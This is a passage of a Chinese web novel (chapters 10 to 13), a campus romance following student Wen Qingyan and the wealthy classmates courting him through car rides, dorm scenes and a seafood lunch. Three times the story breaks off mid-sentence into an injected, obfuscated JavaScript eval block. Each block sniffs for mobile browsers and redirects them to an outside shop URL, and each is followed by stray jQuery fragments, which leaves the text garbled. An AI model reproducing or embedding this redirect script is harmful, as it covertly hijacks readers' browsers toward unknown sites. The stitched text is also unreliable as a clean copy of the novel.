周嘉砺想起冯煦好像有一辆很骚包的超跑,刚提到手就被路知远黑走了。
他随口道:“huayra?”
一猜就中。
路知远:“……”
他在车上说的话也不全是哄闻青延的。比如这辆车他确实不爱开,嫌太高调了。但今早让司机王叔在车库选车时,他鬼使神差就挑了这一辆,觉得也许闻青延会喜欢。
周嘉砺见路知远默认,露出有些一言难尽、有些嫌弃的表情,问:“就这点出息?”
路知远:“……别没大没小,我好歹也是你表哥。”
周嘉砺:“我叫司机送车过来。”
他还好心问了下路知远:“你确定还要开那辆车回学校?”
路知远回想了下闻青延上车后的表现,觉得他应该还是很喜欢那辆车的,就咬咬牙点头。
周嘉砺:“行。”
散场的时候,三人先送在场唯一的女性离开。泊车员已经提前帮客人把车开出来停放在门口。
路秀洁坐进车里,和大家道别。她刚启动车子,开出一小段距离,突然想起什么,停下车,按喇叭叫路知远过去。
闻青延从门童手里接过车钥匙,“学长,那我去车上等。”
临上车前,闻青延还看了眼一旁双手插兜的周嘉砺,问:“周学长怎么回去?”
周嘉砺淡淡道:“我叫司机送车过来了。”
“行。”闻青延拿着车钥匙上车了。
估计路知远没那么快回来,他坐进驾驶座,掏出手机拍照。
连拍了数十张,突然有人打开驾驶座的车门。
路知远回来了?
“这么快。”闻青延盖上手机,刚准备下车,低头瞄见薄底皮鞋。
闻青延有些疑惑抬起头。
“周学长?”
车门升起,果然是周嘉砺站在车门外。
他嗯了声,俯身逼近,单手撑在驾驶座。
超跑空间本来就不宽敞,闻青延有些不自在地错开脸,问:“学长在找什么东西吗?我帮你找吧。”
周嘉砺的手在中控台心不在焉地随便翻找了几下,眼睛扫过闻青延唇下的痣,说:“不在车上。”
他直起身子,却没马上走,问道:“我车到了,你要不要坐我的车回学校?”
闻青延:“啊?路学长……”
“上我的车。”周嘉砺打断他:“路秀洁找他有事,路知远估计没空送你。”
“那钥匙……”
“钥匙交给门童就好。”
“哦,好。”
闻青延把钥匙交给门童,跟着周嘉砺上了黑色大G。
10. 小王子
闻青延坐上副驾,而另一边周嘉砺拉开驾驶座的车门,却没马上坐上去。
他稍微俯身,低头问闻青延:“你要开看看吗?这车刚保养回来。”
“啊?我不开。”闻青延一愣,直言道:“我没驾照。我刚刚在驾驶座就是坐着玩玩而已。”
“哦。”周嘉砺想了想又问:“那你要拍看看吗?”
他刚刚坐在超跑驾驶座拍照果然被周嘉砺看到了……闻青延默了默,说:“不拍。”
周嘉砺:“更喜欢超跑?”
这个尴尬的话题能不能快点结束?
闻青延撇开脸,对着后视镜抬手压了下胡乱支棱的发丝,面不改色道:“我刚刚拍照是因为家里也有一辆huayra,但不同系列,我拍给我妈看看两款的区别。”
周嘉砺嗯了声,总算不再问些奇怪的问题,长腿一迈,坐进车里,发动引擎。
黑色大G越过路秀洁的玛莎拉蒂。
闻青延瞥见她驾驶座开着车窗,也将车窗降下来,和另一辆车里的路秀洁、路知远打招呼:“那我们先走了!”
路秀洁摘下墨镜,和他挥手说再见。
副驾的路知远挺直背坐了起来,一脸茫然看着闻青延坐在周嘉砺的副驾驶座上离去。等他反应过来时,只能远远看见黑色大G的车尾灯。
-
闻青延将刚刚坐在huayra驾驶座上拍的照片小心检查了一遍,确认没有反光露出人脸,也没什么错漏,上传TK账号,配文:
【爸爸买的代步车,说上学方便。】
首图是他的手搭在真皮方向盘上。
:大家都在搜“huayra是什么车?”
:搜了下车回来,男神居然喜欢这么嚣张的超跑?还以为男神会喜欢低调一点的车型。
蜻蜓:确实很少开,这款是十六岁的时候看中的,爸爸答应当作成年礼,排了很久才提车,有纪念意义。
:嗷嗷嗷!男神回我了!
:我快不认识代步车几个字了,几千万的限量款超跑,你跟我说代步车?
:呵呵随便在网上到几张图就能装有钱人了?脸都没漏过,评论区就男神男神舔上了。
:手控意满离……
:租车起号的吧?开得起这个级别的车子,手腕上怎么会空落落的连支表都不戴?
:我跟你们有钱人亲了!
:额,这年头炫富也值得追捧了?有些人别太媚富。
:谁又破防了?蜻蜓从来没接过广,只是简单分享日常罢了,有钱人分享日常就炫富了?
:哇,蜻蜓爸爸一定很爱你。(作者赞过)
闻青延刷着TK,手机顶端弹出路知远的消息,他点进去。
【路知远:学弟怎么丢下我,跟着周嘉砺走了?(小狗委屈.jpg)】
闻青延挑眉,直接问:“周学长,你没跟路知远说我跟你……”
他话还没说完,周嘉砺放在中控台的手机响了,屏幕亮起来,闻青延瞥见“路知远”三个字,噤声等周嘉砺接电话。
但周嘉砺只是瞥了一眼,没管。
闻青延提醒他:“学长,你的电话。”
“你帮我挂断,我开车不接电话。”周嘉砺目视前方,突然又说:“闻青延,你直接叫我名字就好,不用叫学长。”
“好的,学长。”
周嘉砺:“……”
闻青延正想伸手挂断路知远的来电,手机又不响了,显示那边已经取消拨号。
-
“闻青延怎么跟着周嘉砺的车走了?”
路知远烦躁地挂断电话,看见路秀洁笑得前俯后仰,他才后知后觉反应过来,“你和周嘉砺合伙耍我呢?”
“我什么都不知道啊。”路秀洁本来还在笑,看他脸色确实不好,连忙甩锅,“是周嘉砺刚刚突然发消息要我拖住你。周大少难得找人帮忙,我哪里敢拒绝?”
“周嘉砺几个意思?”路知远纳闷:“闻青延是我先看上的人,他不会想截胡吧?”
路秀洁回忆了下周嘉砺往日的做派,摇摇头,“不可能,我可没看周嘉砺对谁动过心。”
周嘉砺个人条件摆在这里,自然免不了一波又一波的莺莺燕燕前赴后继,但都被他冷脸吓退了。
此人不近女色也不近男色,从小就一副和尚做派。大家都估计周嘉砺将来大概率不婚,就算结婚也是商业联姻,挑个门当户对的对象将利益最大化。
路秀洁合理推测:“他可能是道德洁癖发作,看不上你在男寝乱搞钱色关系。”
路知远自己细想也觉得不能,像周嘉砺这种清高的天之骄子,最看不上的就是贪慕虚荣的机会主义者。闻青延在商K当男模,又穿A货,装富哥,简直条条踩爆周嘉砺的雷区……
这下听路秀洁也这么说,他安心不少,靠在座椅上伸了伸腿,漫不经心道:“这话说的,我也是第一次有心动对象。”
路秀洁:“有所耳闻。我听说你在群里夸口毕业前要把人拿下?你毕业还是他毕业啊?你这学期结束可就毕业咯。”
“等着看吧。”路知远说。
“你也没追过人,哪来的自信?”
“没追过人,还没见过别人怎么追的吗?无非就是大方点,哄着点。也不难。”
“我看他像是直男。”路秀洁笑了:“在情场还是少立flag为妙。”
路知远无所谓地耸耸肩,“直的弯的有什么关系?他不用喜欢男的,喜欢钱就可以。”
“别说我没给你制造机会啊。”路秀洁从手套箱里翻出一张邀请函,甩给路知远。
“下周我有好姐妹在金荔山庄举办生日派对,准备和品牌周年一起过,我约了闻青延来参加。到时你也一起来,帮忙撑撑场子。”
“行啊。”路知远拿起邀请函随意翻了翻,一口应下。
-
焦浩宇从阳台收了衣服进来,就看见闻青延回来了,他手上捏着一封烫金的邀请函,坐在椅子上一动不动,似乎在发呆,指间隐约漏出几个字。
焦浩宇凑近看,一边辨读出声:
“金,金、荔…金荔山庄?”
听到他的声音,闻青延才回过神来,把手里捏皱的邀请函展平,夹进书本里。
“金荔山庄是本市的别墅区吧,盖在金荔山腰上那片豪宅?这是谁的邀请函?”
“朋友过生日。”闻青延随口敷衍他。
“你的衣服我收习惯了,一顺手就都收进来了。”焦浩宇大高个,臂展很长,单手轻松抱住一堆衣服,问:“你要自己叠,还是我给你叠进衣柜里?”
闻青延扫了眼阳台的晾衣杆上,果然只剩路知远的衣服孤零零地挂在上面。
焦浩宇大一就给宿舍买了个洗衣机,宿舍就他们两人,衣服都是直接扔进洗衣机里一起洗、一起晾晒;收衣服杆子一叉,两个人的衣服就一起收进来了。
闻青延懒得叠衣服,衣柜又没那么多空间给他挂,他的衣服基本都由焦浩宇顺手叠好了再收进衣柜了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921381|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
只是上回他酒后失态,吓得闻青延很防备他,这段时间衣服都自己洗自己收了,内裤看得尤其紧,在淋浴室就顺便搓洗好,回宿舍就拿去阳台晾在角落里
对闻青延这副唯恐舍友会对他的衣服做些坏事的样子,焦浩宇只觉得好笑。
不是说他不想拿闻青延的衣服做些什么,只是闻青延现在才来担心不觉得太晚了吗?
比如闻青延肯定就没发现,他柜子里那些A货衣服,都被他悄悄换成真货了,包括那几条假CK内裤。
焦浩宇表面上沉默接受闻青延的疏远,暗地里其实很破防。被迫不再掺和闻青延的内务,让焦浩宇失去为数不多的掌控感;偏偏宿舍里又多住进来一男的,破坏原本的二人世界。
他憋了一肚子火,没地方发泄,只能上蓝X连发数十条动态,才能在面对闻青延时勉强伪装平静,假装没发现自己被他当狼防了。
“你帮我叠吧。”闻青延几步爬上床,一头栽进被子里,声音闷闷的,“谢了,兄弟。”
“怎么了?心情不好?”居然都没心情防狼了?
焦浩宇把收进来的衣服一股脑塞进自己衣柜里,打算边叠衣服边听他倾诉心事。
但闻青延把蚊帐放下,翻了个身,没再讲话。
金荔山庄。
也许是睡前一直想着这个地方,闻青延第一次梦见久违的金荔山庄。
-
“哇,闻青延原来你家住在金荔山庄啊?”小男孩从黑色宾利上跳下来,大声喊道。
他身后车厢里又钻出两个小女孩,看见入口处漂亮的喷泉和大片草坪,都流露出羡慕的眼神,异口同声道:“你家好漂亮啊!”
“很漂亮吧!”还是小豆丁的闻青延还没学会成年人的含蓄,叉着腰,很神气地说:“后花园有我爸爸给我扎的秋千,我一会带你们去玩!”
“闻青延,闻青延,你是不是公主啊?”小男孩追着闻青延问。
另一个小女孩抢答:“笨!公主是我们女孩子!闻青延是男孩子!”
“那他就是王子啦!不然怎么会住在城堡里!我妈妈说王子和公主才住在城堡里。”
小青延大言不惭:“是啊!我妈妈说我是小王子!”
这是他第一次招呼幼儿园的朋友来家里玩。以前家里虽然也有小朋友过来,但那都是爸爸妈妈的大人朋友来拜访他们,顺便带着小朋友过来,不算数。这次可是他作为东道主,招待朋友!小青延心情非常激动,昨天把珍藏的玩具、零食都翻了出来,还缠着家里几个司机阿姨排练了好几回流程,模仿大人待客的样子:先派车子去接送,然后请到会客厅喝牛奶吃点心,聊一些幼儿园的事情,之后再开始玩玩具。
可惜小朋友是不会听从安排的,还没进门小青延就和客人出现了严重分歧。
“我要玩秋千!”“先吃点心!要先去会客厅坐一坐才能去后花园!”“玩秋千,玩秋千!”“吃点心!”“我想去喷泉下面玩水……”
几个小孩在门口乱成一锅粥了,阿姨只好去楼上找家长,女主人还在睡觉,昨夜出差回来的男主人轻手轻脚下楼来。
小青延上一秒还在和朋友争执,下一秒突然被举高放在肩头,他下意识尖叫,但低头看见男人略带倦意的熟悉脸庞,当即笑了起来,短短的两只胳膊搂紧男人的脖子,喊道:“爸爸!”
“你什么时候回来的?”
闻青延睁开眼,看了眼手机:凌晨三点。
他的确很久没有去看爸爸了。
11. 灌汤包
闻青延昨夜多梦,第二天早上没能爬起来去晨跑,一直睡到八点多,焦浩宇叫他起床。
“醒醒,你上午有课忘记了?”焦浩宇不厌其烦地叫他。
闻青延还没清醒,卷着被子一翻身,整个人都缩在里头,骂道:“烦不烦,别吵。”鼻音很重,骂人跟撒娇似的。
“等下你赖床迟到,又要怪我没叫你,跟我闹绝交了。”吸取从前的惨痛教训,焦浩宇不敢放任他继续睡觉。
他想掀被子,闻青延死死拽着不让他掀,裹得严严实实的长长一条,焦浩宇分不清哪边是头哪边是尾,只好把手钻进被子里去找。
闻青延睡得暖呼呼的脚突然被一双冷冰冰的大掌包住,他下意识地把脚往外抽…没抽出来,被紧紧抓住不放。
闻青延天天擦润肤乳,连脚丫子也滑溜得跟条鱼似的,焦浩宇一只手没抓稳,差点让他游走了,连忙用两只手一起包住。
“你脚怎么这么软啊?”焦浩宇声音有些暗哑,抓着闻青延的脚踝拉出被窝。
被子掀开一小条缝隙,润肤乳淡淡的甜香飘散出来。焦浩宇认得这个香味,是他上次专门去专柜挑选送给闻青延的润肤乳,果然很适合他。
“快起来了,不然要迟到了。”焦浩宇催促了几声,见没效果,干脆用手指挠他脚心。
“别,别挠我脚心!哈哈哈哈哈,滚啊!求求你了……放开放开……我起来!起来了!”
闻青延蜷缩着身子在床上七扭八扭,脚仍被焦浩宇紧紧握在掌心,挣脱不开,这么一闹,什么睡意都消散了。
他噌一下坐起身,气喘吁吁:“快点松开!”
“终于起来了?”焦浩宇顺从地松开他的脚。
“早餐给你带了灌汤包和花生浆。”焦浩宇看了眼手机时间,“你拿去教室吃吧,洗漱完就得赶紧骑车去上课了。帮你查过课表了,你第一节课在教3,427,别又走错了。”
闻青延起床后,动作就很利落了。他一边听焦浩宇叨叨絮絮,一边翻下床去阳台洗漱。
洗手池上,他的漱口杯里已经装满水,杯子上横着一支粉色牙刷,牙刷上挤好了牙膏,显然也是焦浩宇的杰作。
闻青延:……
焦浩宇还是那么贴心……有点感动,要是他不惦记自己的屁股就好了。
焦浩宇拿上背包,倚在阳台门,最后交代闻青延:“今天降温了,记得多穿一件外套,要是没有合适的衣服自己去我衣柜里翻。我先去上课了。”
闻青延咬着牙刷,含糊不清道:“焦浩宇。”
闻青延真的是中了基因彩票、万里挑一的长相,刚睡醒,甚至还没洗脸,就这么光彩夺目。
他脸颊闷得通红,腮帮子鼓鼓的,嘴角、下巴还挂着一抹牙膏沫,眼睛湿漉漉地盯着人看,漂亮之外更有几分可怜可爱。
“嗯?”焦浩宇想伸手帮他抹掉下巴的牙膏沫,但想了想,只是换了只手拿背包。
“我给你介绍别的gay吧,你能不能别喜欢我了?我觉得我们做哥们儿挺好的。”
闻青延漂亮的小嘴一张一合,说出来的话却让焦浩宇恨不得拿个东西把他嘴堵上。
焦浩宇似笑非笑问道:“除了我,你还有别的gay朋友?”
闻青延老实坦白:“列表好友还挺多跟我告白的。”
焦浩宇不爽:“你没删?”
“删了干嘛?我都拒绝了,他们也说以后还是当朋友。”闻青延不解。“我不也没删掉你嘛。”
焦浩宇呵呵笑了两声,说:“是啊,要是你把和你告白过的人都删掉,列表就空空如也了。”
他就多余追问。
焦浩宇说完自己一肚子气去上课了。
-
路知远晨练回来,正好碰见焦浩宇甩门离去。
路知远扬扬眉,这个舍友跟闻青延的氛围是不是有点不对?
路知远:“焦浩宇怎么了?”
闻青延一脸无辜:“我也不知道。”
路知远也没再问,本来也不太在意这个舍友。他举了举手里包装看起来就很昂贵的外卖,说:“让人打包了云天酒店的早餐,刚送过来,要一起吃吗?”
闻青延洗好脸,回到宿舍,正站在衣柜前翻衣服。他朝路知远努了努嘴示意自己桌上已经有早餐了。
“就吃这些?”路知远走过来,拿起他桌上的灌汤包,“跟我改善改善伙食呗?反正很大一份,我一个人吃不完。”
闻青延看他随意捏了捏灌汤包,有点不高兴,声音微冷道:“你别把包子给我摸凉了。”
“行,我不碰。”路知远察觉到他的情绪,笑着放下灌汤包,“你刚起床?灌汤包是焦浩宇帮你带的吧?”
“嗯。”
闻青延瞄了眼手机,马上要上课了,教学楼和男生宿舍楼还隔着两三条马路,跨越大半个校园,他得加快速度。
“你跟焦浩宇感情很好?大一就是舍友了?之前这间宿舍一直只有你们两住吗?”
衣柜里的衣服都分门别类叠好,挂着的几身衣服,正好是闻青延近期比较喜欢穿的搭配。
他选定了要穿的衣服,就站在衣柜前直接两手交叉,掀起衣摆一脱。
一片雪白的背映入眼帘,本来还在连环追问的路知远立刻收声。
薄薄的蝴蝶骨轻轻翕动,背沟深陷,一对浅浅的腰窝镶嵌在两侧。
路知远仗着闻青延背对着自己,视线如同浓墨泼在闻青延的背上,肆无忌惮地在白纸上圈画。
那么窄的腰身,仿佛他一只手就能握住。
眼看闻青延又把睡裤往下一扯,踩着裤脚就要脱下,路知远连忙去拉阳台的窗帘。
闻青延下半身刚把长腿从堆积的裤管里抽出来,上半身已经两三下穿上帽衫,听见拉窗帘的声音,还转过身去,一脸疑惑:“拉窗帘干嘛?”
帽衫不长不短,正好盖到臀部,闻青延两条长腿露在外面,白得发光。
路知远:“换衣服怎么可以不拉窗帘?对面都是人,全被看.光了!”
闻青延:“……”
闻青延:“学长,对面也是男生宿舍楼。”
路知远心想,男的我也不放心。
他说:“……还是注意点吧。”
“我还当着你的面换衣服呢。”闻青延:“都是男生怕什么。”
就是以前知道焦浩宇是gay,他也没遮掩过。也就是最近焦浩宇抽风,闻青延有点变扭,遇到单独和焦浩宇在宿舍时,才会拿衣服回床上换。
“反正注意点。我记得论坛很多你的照片?”路知远仿佛有被害妄想症,“万一有人偷拍拿去卖呢?男孩子也要注意保护自己。”
“行吧。”看不出来,路知远还是个守男德的保守派。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921382|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻青延拿着裤子分不清正反面,又赶时间,急起来就使唤他:“你快把灯打开!房间暗暗的,等会裤子穿反了。”
“我赶着去上课呢,快迟到了!”
路知远平时只有使唤人的份,哪里有被人这样直白地使唤过?
就是他偶尔帮周嘉砺办事,也大多是交代助理、司机去做;真要算起来,为数不多被差遣的情况就是跟女性亲戚长辈在一起时,他要表现路家的教养,帮忙开个车门,拿个东西这样。
但这会他非但不觉得不悦,还从这么直白的语气中品出了几分亲昵。
他大步走过去门口开灯,回过身哄他:“别急,你要去那栋楼上课?我直接开车送你过去,省得你还要提车、锁车。”
如果有路知远开车送他去教学楼,确实不用这么着急,闻青延边穿裤子,边应道:“那太好了!”
闻青延穿好衣服,就背起书包,拿上焦浩宇给他的早餐,跟着路知远一起下楼。
到楼下,路知远快步上前,帮闻青延把车门打开。
闻青延松了口气,还好今天路知远没开那辆超跑,换了辆低调的凯迪拉克。他把书包往座位上一丢,坐了进去。
-
“不饿吗?怎么不吃早餐?”路知远手扶着方向盘,余光瞥见闻青延拿着灌汤包没吃,主动说:“在路上吃了吧。不然一会进课室打铃了,就得等下课才能吃了。”
“我怕你嫌在车上吃东西有味。”既然车主都发话了,闻青延也不再顾忌,打开袋子,啃了一口包子,小心吸溜汤汁。
路知远确实挺嫌弃车上有食物的味道的,他自己都不在车上吃东西。为了展现体贴路知远才随口关心一句,没想到闻青延也这么不客气。
他刚说完就后悔了。
灌汤包的气味霸道地充斥满整个车厢。
路知远皱了皱鼻子,打开车窗和外循环,侧过头去看闻青延。
闻青延手里捧着灌汤包,抬眼看他,“你也想吃?”
男生一头粉发在风中飞扬,小脸白生生的,也没比手里的灌汤包大多少,嘴唇油亮亮的,稍微吐出一点粉嫩的舌尖,“呼,汤汁还有点烫。”
路知远本来想催他吃快点,这下没说出口,喉结上下滑动,转过头去看前方路况。
“吃慢点。”
不就是在车上吃东西吗?多大点事。路知远心想,一会叫人把车开去洗车店清洗就好。
等车子停到教学楼下,闻青延早餐也刚好吃完。
路知远抽了两张面巾纸递给他,问:“你下午没课吧?什么安排?中午要不要一起吃饭?我来接你。”
“谢谢。”闻青延接过纸巾擦了擦嘴。“我下午没课,但要去实验室。中午一起吃饭可以啊。”
“那我到时候给你发消息。”
“好。”闻青延用过的纸巾塞进吃完早餐剩下的塑料袋里,正准备将垃圾带下车,就被路知远接了过去。
“给我吧,我去扔。你快点去上课。”
“好,那我先走了。学长,中午见!”
路知远下车去扔垃圾,也没急着上车离开。
他站在原地,看闻青延两步并一步地跑上楼,帽衫的兜帽一晃一晃。
直到他的背影消失在楼梯拐角处,路知远收回视线,摸摸自己莫名上扬的嘴角,低骂了句:“艹,我笑什么呢。”
12. 直男劫
【603寝室群】
-am9:00-
【焦浩宇:@舍长看私聊。】
-am11:00-
【焦浩宇:@舍长 ?闻青延,你有空在课间发朋友圈,没空回我消息?】
【焦浩宇:(朋友圈截图)】
【直男劫:早上坏。(自拍)
101赞,56评论
:呜呜自律如男神也不喜欢上早课吗?
:校草在哪里上课,我要去偶遇……
:哈哈哈下午有课吗?一起去打篮球啊
:早上好,其实我早上有碰到你,不过今天没洗头就没跟你打招呼
……
焦浩宇:在?看看私聊。】
临近下课,老师让小组讨论。闻青延掏出手机,屏幕弹出好几条603寝室群消息,都是焦浩宇@他。
【闻青延:……什么直男劫,你给我这个备注是什么意思?】
【焦浩宇:夸你铁直。】
【焦浩宇:你能不能回一下我的私聊?怎么回事?舍长带头冷暴力我?】
【焦浩宇:我不是置顶吗?】
闻青延往后靠在椅背上。
之前603寝室就他和焦浩宇两个人,他把焦浩宇置顶,是为了方便平时忘记带钥匙或者检查违规电器的时候能及时联系上人。但现在寝室又来了两个新舍友,他拉了个四人群聊,就换成置顶宿舍群,把焦浩宇的置顶取消了。不然什么都置顶,置顶就没有意义了。
上课期间不少人给他发了消息,他往下划了几下没找到焦浩宇的聊天框,干脆回到群聊里发消息。
【闻青延:有急事直接在群里说吧,消息太多容易错过。】
【焦浩宇:所以现在我不是置顶了?】
【闻青延:有事说事,还在上课。】
【焦浩宇:行,中午想吃什么?我帮你打包送过去。】
【闻青延:不用了】
【焦浩宇:嗯?你下午不是去实验楼吗?】
A大校园大得出奇,各区楼栋之间隔得很远。一般闻青延下午要去实验楼的话,中午就懒得回宿舍区吃食堂;焦浩宇课表刚好和他错开,每次都帮忙打包食堂饭菜送去实验楼给他。闻青延吃饱了,还可以在实验室桌子上休息一会,不用把时间浪费在来回折返上。
【路知远:我中午约了闻青延一起吃饭。】
【闻青延:嗯。】
焦浩宇坐在教室后排,看见最新弹出来的消息,眉头一皱。
【焦浩宇:(憨笑)远哥请客啊,带上我一起呗!之前不是说好我们603要一起聚餐吗?@周嘉砺】
【路知远:青延不介意就行,我只负责买单,舍长说的算。】
焦浩宇嗤笑一声,青延青延叫的这么亲近,人家跟他熟吗?
【闻青延:额,我都行】
【周嘉砺:1】
【路知远:@周嘉砺你今天有来学校?】
【周嘉砺:嗯。】
【路知远:ok,我把餐厅定位发群里,你们一会直接过去。(定位)】
【路知远:@舍长一会下课老地方等我,我来接你。】
【闻青延:okk】
【焦浩宇:什么老地方?(憨笑)我就在青延隔壁楼上课,一会也捎上我呗。@路知远】
路知远:……早知道他今天就开双人超跑。
路知远没回复群聊,但下课的时候焦浩宇还是跟闻青延一起出现了。
焦浩宇肩上背着一个包,手臂上还挂着一个包,走路时刻意收着步伐,要比闻青延落后半步。他是作为体育特招生上的A大,个头起码一米八五往上,骨架粗大,178的闻青延都被他衬得有些娇小。
教学楼人潮涌动,焦浩宇仗着自己身材高大,跟一堵墙似的,把左右的人都隔开,闻青延双手插兜走在前面,一点没被挤到,跟带着保镖出行一样,还怪拉风的。
“焦浩宇也来啦?”两人走近,路知远笑着跟焦浩宇打招呼,眼睛却盯着闻青延看,一手拉开副驾的车门,一手揽住闻青延的肩膀往车里带:“走吧,快饿死了。”
焦浩宇用舌头顶了顶腮帮子,钻进车后座。
闻青延上车就问:“怎么又换了辆车?”才一个上午就换了辆车?专门让人开过来的?
上午的车早就叫人开去清洁保养了,不过路知远没有直接说,怕闻青延觉得自己介意他在车上吃东西,于是他只是笑了笑,轻描淡写道:“车多,换着开。”
有什么好显摆的……车多了不起啊……闻青延撇撇嘴。
路知远说:“你要不要去考个驾照啊?平时也帮我把车开出去兜兜风,省得都闷在车库里。”
说得容易,驾校收费又不便宜。闻青延没接话。
路知远又说:“前两天刷朋友圈,好像看到我一个朋友新开了个家驾校?推广期在做免费福利活动。”
其实没这么个朋友,但反正路知远交代一句就可以随时兑现,说话也就不心虚,为了照顾闻青延的自尊心,表现真实一些,他还故意说:“你这张脸,要是肯帮他拍几张宣传图推广推广,应该就能免费学车。”
闻青延有点心动,但后排的焦浩宇先开口替他婉拒了。
“不用了。青延推崇低碳环保,平时非远距离都尽量骑车出行的,也不怎么打车,能坐公共交通就坐公共交通。”
焦浩宇语气不冷不热的。
他身子前倾,下巴搁在副驾驶座的真皮椅背上,说话时气息拂过闻青延的脖颈。
闻青延抬手捂住脖子,往旁边稍微挪了挪。他不打车难道是不想打车吗?他紧绷着一张小脸,没有拿得出手的理由反驳焦浩宇,又怕路知远真信了这通胡扯,收回前话。
焦急之下,他不自觉将目光投向路知远,甚至忘了管理眼神。
路知远自然不会相信这通胡扯,但余光瞥见闻青延眼巴巴看着自己,差点笑出声,好不容易憋住了,继续劝他:“开车也算是个生活技能,学学总没有坏处。而且大三,马上要毕业出社会,以后工作忙起来再想考驾照也很难挤出时间了。”
“你觉得呢?青延?就当帮帮我朋友?”
“我听学长的。”闻青延乖巧点点头。
“那我回头跟我朋友说。”
后排的焦浩宇:“……”
他才反应过来自己之前有多傻缺。
大一的时候他还是富少做派,爱车送去改色,就打车上下学,看到闻青延骑车上学,还问他干嘛不打车,闻青延就用低碳生活堵了回来。他真信了,斥巨资改造好的爱车直接挥手送回家里车库吃灰,每天跟着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921383|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻青延学习低碳生活,晴天踩自行车,雨天挤校园巴士。那时候他还没意识到自己对闻青延的好感,只是觉得闻青延这样很酷,很有态度。
焦浩宇轻轻揪了下闻青延的粉毛。
闻青延凶巴巴回头:“干嘛?”
焦浩宇舒坦了。
-
这次路知远挑了个海鲜自助餐厅,环境奢华。
闻青延踏上旋转楼梯,望向大厅中央巨大的水晶吊灯,数百枚手工切割到极致的水晶仿佛一束星星团簇,灯光交相辉映,如梦如幻,他不由停驻脚步。
走在闻青延身后的路知远伸出手轻轻握住他的手臂,凑在他耳边低声道:“你很有眼光,一眼就看见这件餐厅里最贵的物件。”
“这个吊灯是西洋古董,从国外一座古堡里拆下来的,餐厅主人花了大价钱拍卖托运回国。”
这么有来头?闻青延心道可惜,如果不是路知远和焦浩宇都在他旁边,他肯定要拍个照上传TK。
“挺好看的。”他语气淡淡,仿佛没有很喜欢,收回视线,跟着服务生前往包厢。
闻青延打头进包厢,一进门对上周嘉砺的眼神。
周嘉砺是单眼皮的眼睛,天然就有几分冷酷的气质,他的眼珠子也不大,眼型狭长,抬头看人时有些三白眼,脸上仿佛写着“不好惹”三个大字。
但凶是凶了点,其实长得挺帅的。五官深邃立体,轮廓线条凌厉,身材也很顶,190的个头,倒三角身型。
闻青延自己天生长了张好脸蛋,每天照镜子已经大幅度拉高了他的审美,又有很多模特朋友,身边全是俊男美女,能让他夸一句帅,很不简单。像603的另外两个舍友在人群里也是回头率很高的颜值了,闻青延看着都心无波澜。周嘉砺主要胜在气质特别,特别酷。
两人还隔着几步路的距离,周嘉砺随手拉开他身旁的椅子。
闻青延就自然地坐到他身边。
周嘉砺抬手示意门口的服务生进来,“可以点餐了。”
闻青延问:“不是自助餐吗?”
“是的,先生,我们这里是无限量自助的。不过不用您亲自去取,您这边随时点餐,我们马上就用餐车送过来。”服务生笑着和他解释,将菜单放到周嘉砺面前。
闻青延有些恍惚,是了,有些自助是自己取餐,有些自助是点了送上桌,他太久没在外面吃饭,连这些都不太记得了。
周嘉砺顺手将菜单递给闻青延,“你点吧。”
闻青延抛去脑海里的杂思,没跟有钱人客气,拿起菜单点了最贵的几道餐品,才把菜单转了个面,推上前。
“你们也点一些……你们在干嘛?”
闻青延一抬头才发现路知远和焦浩宇居然还没坐下来,都挤在他对面,两人的手分别抓住椅背的左右两边,暗自用力,手背青筋暴起。
场面一度僵持。
闻青延:“……”
他们这是在抢椅子吗?
闻青延狐疑地看向两人的脸,路知远朝他故作云淡风轻一笑:“我在这可以给你推荐一下餐品。”
闻青延:“焦浩宇?”
晚了一步开口的焦浩宇:“……”
他松开椅子,在闻青延斜对面入座。
周嘉砺将这场闹剧尽收眼底,低头抿了一口热茶。
13. 放狠话
闻青延倚坐在计算机实验室后排的办公椅上,后仰打了个哈欠。
中午海鲜自助吃得太饱,下午一直犯困。
前面有个男生举手喊他:“学长!有问题!”
闻青延抹掉眼角挤出的泪花,起身迈着长腿穿过一排排机子,边走边懒洋洋道:“是你有问题,不是学长有问题。”
“是是是,闻学长快帮我看看。”大一学弟火急火燎地站起来,闻青延刚走近,他一双大掌就握在闻青延的肩膀上,压着他入座。
“别别别,我不坐。”闻青延才不坐别人坐热的椅子。
他不坐,男生也没坐,干脆伸手把椅子拉开,两人站在电脑前。
闻青延稍微俯身,扫了眼屏幕就知道问题出在哪了。
“卫华翰,你刚刚上课是不是又没好好听?”
闻青延是这堂课的助教,班里学生的名字他都记得。
